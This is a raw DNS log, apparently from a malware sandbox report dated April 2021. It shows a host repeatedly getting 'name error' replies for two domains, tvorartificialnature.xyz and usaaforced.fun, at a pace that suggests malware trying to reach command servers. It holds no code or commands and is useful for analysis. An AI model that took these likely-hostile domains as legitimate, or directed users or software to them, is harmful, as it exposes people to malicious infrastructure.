Apr 6, 2021 19:40:58.812299967 CEST	8.8.8.8	192.168.2.22	0xfe7	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:58.990701914 CEST	8.8.8.8	192.168.2.22	0x4bd8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:59.172344923 CEST	8.8.8.8	192.168.2.22	0x6bb	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:59.343193054 CEST	8.8.8.8	192.168.2.22	0x9106	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:59.512020111 CEST	8.8.8.8	192.168.2.22	0xa8af	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:59.689551115 CEST	8.8.8.8	192.168.2.22	0x823a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:59.854417086 CEST	8.8.8.8	192.168.2.22	0x7864	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:00.022495031 CEST	8.8.8.8	192.168.2.22	0xe682	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:00.213171005 CEST	8.8.8.8	192.168.2.22	0x9c99	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:00.390045881 CEST	8.8.8.8	192.168.2.22	0x970d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:00.452934027 CEST	8.8.8.8	192.168.2.22	0xb2f7	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:00.582755089 CEST	8.8.8.8	192.168.2.22	0xf9b8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:00.753823042 CEST	8.8.8.8	192.168.2.22	0xdd2c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:00.943778038 CEST	8.8.8.8	192.168.2.22	0xc062	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:01.119050026 CEST	8.8.8.8	192.168.2.22	0x3f72	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:01.303153992 CEST	8.8.8.8	192.168.2.22	0x193	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:01.480927944 CEST	8.8.8.8	192.168.2.22	0xbf2e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:01.657696009 CEST	8.8.8.8	192.168.2.22	0x539b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:01.832097054 CEST	8.8.8.8	192.168.2.22	0x51f1	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:02.006683111 CEST	8.8.8.8	192.168.2.22	0x1d8f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:02.185852051 CEST	8.8.8.8	192.168.2.22	0xc4ae	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:02.366836071 CEST	8.8.8.8	192.168.2.22	0x392c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:02.538624048 CEST	8.8.8.8	192.168.2.22	0x176	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:02.721121073 CEST	8.8.8.8	192.168.2.22	0x1c05	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:02.896523952 CEST	8.8.8.8	192.168.2.22	0x19b2	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:02.958705902 CEST	8.8.8.8	192.168.2.22	0x4e2	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:03.073477983 CEST	8.8.8.8	192.168.2.22	0xd885	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:03.267946005 CEST	8.8.8.8	192.168.2.22	0xccf7	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:03.441921949 CEST	8.8.8.8	192.168.2.22	0x230b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:03.635190010 CEST	8.8.8.8	192.168.2.22	0xfbf1	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:03.833894014 CEST	8.8.8.8	192.168.2.22	0x5eba	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:04.007890940 CEST	8.8.8.8	192.168.2.22	0xa66	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:04.181082964 CEST	8.8.8.8	192.168.2.22	0x522	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:04.363090038 CEST	8.8.8.8	192.168.2.22	0x3778	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:04.543329954 CEST	8.8.8.8	192.168.2.22	0x5e7	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:04.722547054 CEST	8.8.8.8	192.168.2.22	0xcf99	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:04.904864073 CEST	8.8.8.8	192.168.2.22	0x691c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:05.075568914 CEST	8.8.8.8	192.168.2.22	0x6b21	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:05.253120899 CEST	8.8.8.8	192.168.2.22	0x88c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:05.442300081 CEST	8.8.8.8	192.168.2.22	0x812c	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:05.450493097 CEST	8.8.8.8	192.168.2.22	0x2968	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:05.618293047 CEST	8.8.8.8	192.168.2.22	0x4ab5	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:05.797718048 CEST	8.8.8.8	192.168.2.22	0x20cd	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:05.980221987 CEST	8.8.8.8	192.168.2.22	0x4585	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:06.159353971 CEST	8.8.8.8	192.168.2.22	0xe444	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:06.337794065 CEST	8.8.8.8	192.168.2.22	0x14ba	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:06.505464077 CEST	8.8.8.8	192.168.2.22	0xaeba	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:06.683629036 CEST	8.8.8.8	192.168.2.22	0x3895	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:06.856679916 CEST	8.8.8.8	192.168.2.22	0xe843	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:07.032977104 CEST	8.8.8.8	192.168.2.22	0x5f0	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:07.216222048 CEST	8.8.8.8	192.168.2.22	0x80bd	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:07.397803068 CEST	8.8.8.8	192.168.2.22	0xf58	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:07.569502115 CEST	8.8.8.8	192.168.2.22	0xb4b6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:07.753544092 CEST	8.8.8.8	192.168.2.22	0x2385	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:07.928160906 CEST	8.8.8.8	192.168.2.22	0x47b0	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:07.949347973 CEST	8.8.8.8	192.168.2.22	0x1b60	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:08.120539904 CEST	8.8.8.8	192.168.2.22	0x494c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:08.298290968 CEST	8.8.8.8	192.168.2.22	0x3ee6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:08.490550995 CEST	8.8.8.8	192.168.2.22	0x4e63	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:09.669339895 CEST	8.8.8.8	192.168.2.22	0xadea	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:09.851227999 CEST	8.8.8.8	192.168.2.22	0xc39e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:10.032254934 CEST	8.8.8.8	192.168.2.22	0xa455	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:10.216336012 CEST	8.8.8.8	192.168.2.22	0x4ed9	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:10.393563986 CEST	8.8.8.8	192.168.2.22	0x7b56	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:10.406048059 CEST	8.8.8.8	192.168.2.22	0x42e7	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:10.567651987 CEST	8.8.8.8	192.168.2.22	0xf0f3	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:10.739471912 CEST	8.8.8.8	192.168.2.22	0xefa8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:10.915622950 CEST	8.8.8.8	192.168.2.22	0xbb57	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:11.088200092 CEST	8.8.8.8	192.168.2.22	0xe7e5	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:11.280683994 CEST	8.8.8.8	192.168.2.22	0xe915	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:11.456842899 CEST	8.8.8.8	192.168.2.22	0x20a4	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:11.630362034 CEST	8.8.8.8	192.168.2.22	0xeacd	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:11.805845022 CEST	8.8.8.8	192.168.2.22	0x2e0f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:11.989191055 CEST	8.8.8.8	192.168.2.22	0xbc1b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:12.162017107 CEST	8.8.8.8	192.168.2.22	0xd151	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:12.321746111 CEST	8.8.8.8	192.168.2.22	0xb343	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:12.506932020 CEST	8.8.8.8	192.168.2.22	0xb66a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:12.688896894 CEST	8.8.8.8	192.168.2.22	0xb607	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:12.870049000 CEST	8.8.8.8	192.168.2.22	0x9df6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:12.893487930 CEST	8.8.8.8	192.168.2.22	0x36e3	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:13.062889099 CEST	8.8.8.8	192.168.2.22	0x4d8c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:13.233566046 CEST	8.8.8.8	192.168.2.22	0x9d8d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:13.398832083 CEST	8.8.8.8	192.168.2.22	0x1241	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:13.596326113 CEST	8.8.8.8	192.168.2.22	0x1257	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:13.765474081 CEST	8.8.8.8	192.168.2.22	0x4faf	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:13.949651003 CEST	8.8.8.8	192.168.2.22	0x53ff	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:14.121606112 CEST	8.8.8.8	192.168.2.22	0xa2d9	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:14.310966015 CEST	8.8.8.8	192.168.2.22	0xd7cd	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:14.478466034 CEST	8.8.8.8	192.168.2.22	0x9a05	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:14.668356895 CEST	8.8.8.8	192.168.2.22	0x7850	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:14.854631901 CEST	8.8.8.8	192.168.2.22	0xe57	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:15.033277988 CEST	8.8.8.8	192.168.2.22	0xd13e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:15.216758013 CEST	8.8.8.8	192.168.2.22	0xe7a3	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:15.356626034 CEST	8.8.8.8	192.168.2.22	0x28a	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:15.384133101 CEST	8.8.8.8	192.168.2.22	0x6cd5	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:15.561158895 CEST	8.8.8.8	192.168.2.22	0x6300	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:15.733163118 CEST	8.8.8.8	192.168.2.22	0xe541	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:15.916306019 CEST	8.8.8.8	192.168.2.22	0xadcc	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:16.094949007 CEST	8.8.8.8	192.168.2.22	0x938d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:16.288670063 CEST	8.8.8.8	192.168.2.22	0x1e3d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:16.469670057 CEST	8.8.8.8	192.168.2.22	0x74c2	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:16.656042099 CEST	8.8.8.8	192.168.2.22	0x901e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:16.840007067 CEST	8.8.8.8	192.168.2.22	0xe0d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:17.027039051 CEST	8.8.8.8	192.168.2.22	0x1509	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:17.212869883 CEST	8.8.8.8	192.168.2.22	0x8ba0	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:17.393594980 CEST	8.8.8.8	192.168.2.22	0x79f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:17.569562912 CEST	8.8.8.8	192.168.2.22	0x9410	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:17.754081964 CEST	8.8.8.8	192.168.2.22	0xe943	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:17.848664045 CEST	8.8.8.8	192.168.2.22	0x9e8f	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:17.954756975 CEST	8.8.8.8	192.168.2.22	0xfa71	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:18.146542072 CEST	8.8.8.8	192.168.2.22	0xc6e0	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:18.319109917 CEST	8.8.8.8	192.168.2.22	0x728f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:18.490118027 CEST	8.8.8.8	192.168.2.22	0xeafc	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:18.659954071 CEST	8.8.8.8	192.168.2.22	0x3f62	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:18.851246119 CEST	8.8.8.8	192.168.2.22	0x8ab2	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:19.032990932 CEST	8.8.8.8	192.168.2.22	0xb14	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:19.211426020 CEST	8.8.8.8	192.168.2.22	0xacce	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:19.385746002 CEST	8.8.8.8	192.168.2.22	0xf721	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:19.574489117 CEST	8.8.8.8	192.168.2.22	0x36ce	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:19.756280899 CEST	8.8.8.8	192.168.2.22	0xc028	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:19.962249041 CEST	8.8.8.8	192.168.2.22	0x844	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:20.142939091 CEST	8.8.8.8	192.168.2.22	0x5bf1	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:20.340675116 CEST	8.8.8.8	192.168.2.22	0x3d77	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:20.340866089 CEST	8.8.8.8	192.168.2.22	0xf480	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:20.512573957 CEST	8.8.8.8	192.168.2.22	0x2ea2	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:20.692883015 CEST	8.8.8.8	192.168.2.22	0xa5d9	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:20.879623890 CEST	8.8.8.8	192.168.2.22	0x80f8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:21.052958965 CEST	8.8.8.8	192.168.2.22	0x2b9a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:21.242487907 CEST	8.8.8.8	192.168.2.22	0xf950	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:21.427421093 CEST	8.8.8.8	192.168.2.22	0x9f25	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:21.594136000 CEST	8.8.8.8	192.168.2.22	0x306	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:21.771830082 CEST	8.8.8.8	192.168.2.22	0x237e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:21.942131042 CEST	8.8.8.8	192.168.2.22	0xd9fa	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:22.126823902 CEST	8.8.8.8	192.168.2.22	0x2484	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:22.294681072 CEST	8.8.8.8	192.168.2.22	0x2a92	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:22.463700056 CEST	8.8.8.8	192.168.2.22	0x447d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:22.637835026 CEST	8.8.8.8	192.168.2.22	0x57de	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:22.845647097 CEST	8.8.8.8	192.168.2.22	0x5648	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:22.848627090 CEST	8.8.8.8	192.168.2.22	0x63f3	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:23.027529955 CEST	8.8.8.8	192.168.2.22	0x9b09	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:23.196125984 CEST	8.8.8.8	192.168.2.22	0xd0ba	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:23.365257025 CEST	8.8.8.8	192.168.2.22	0x915a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:23.550895929 CEST	8.8.8.8	192.168.2.22	0x5949	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:23.719677925 CEST	8.8.8.8	192.168.2.22	0x4fe1	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:23.879149914 CEST	8.8.8.8	192.168.2.22	0xfbe8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:24.063530922 CEST	8.8.8.8	192.168.2.22	0x42ac	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:24.227543116 CEST	8.8.8.8	192.168.2.22	0x1fee	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:24.438225031 CEST	8.8.8.8	192.168.2.22	0xcee0	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:24.602396011 CEST	8.8.8.8	192.168.2.22	0x1119	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:24.778500080 CEST	8.8.8.8	192.168.2.22	0x7ceb	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:24.970855951 CEST	8.8.8.8	192.168.2.22	0x35bc	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:25.141531944 CEST	8.8.8.8	192.168.2.22	0x254e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:25.328282118 CEST	8.8.8.8	192.168.2.22	0xb15d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:25.355504990 CEST	8.8.8.8	192.168.2.22	0xb72c	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:25.487622023 CEST	8.8.8.8	192.168.2.22	0xda30	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:25.665704966 CEST	8.8.8.8	192.168.2.22	0xa64e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:25.843203068 CEST	8.8.8.8	192.168.2.22	0xe5bd	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:26.006881952 CEST	8.8.8.8	192.168.2.22	0xea8f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:26.187086105 CEST	8.8.8.8	192.168.2.22	0xb9ff	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:26.373158932 CEST	8.8.8.8	192.168.2.22	0xc5fa	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:26.541496038 CEST	8.8.8.8	192.168.2.22	0x64dd	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:26.713512897 CEST	8.8.8.8	192.168.2.22	0xd3b8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:26.879892111 CEST	8.8.8.8	192.168.2.22	0x617f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:27.054869890 CEST	8.8.8.8	192.168.2.22	0x27ad	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:27.237339020 CEST	8.8.8.8	192.168.2.22	0xcde4	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:27.417292118 CEST	8.8.8.8	192.168.2.22	0x4470	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:27.581208944 CEST	8.8.8.8	192.168.2.22	0x72b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:27.749799013 CEST	8.8.8.8	192.168.2.22	0xf911	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:27.837884903 CEST	8.8.8.8	192.168.2.22	0x4daa	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:27.930854082 CEST	8.8.8.8	192.168.2.22	0x7123	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:28.103472948 CEST	8.8.8.8	192.168.2.22	0x35be	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:28.265799046 CEST	8.8.8.8	192.168.2.22	0x6127	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:28.440171957 CEST	8.8.8.8	192.168.2.22	0xcd1e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:28.607827902 CEST	8.8.8.8	192.168.2.22	0xc6fe	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:28.796700954 CEST	8.8.8.8	192.168.2.22	0x287a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
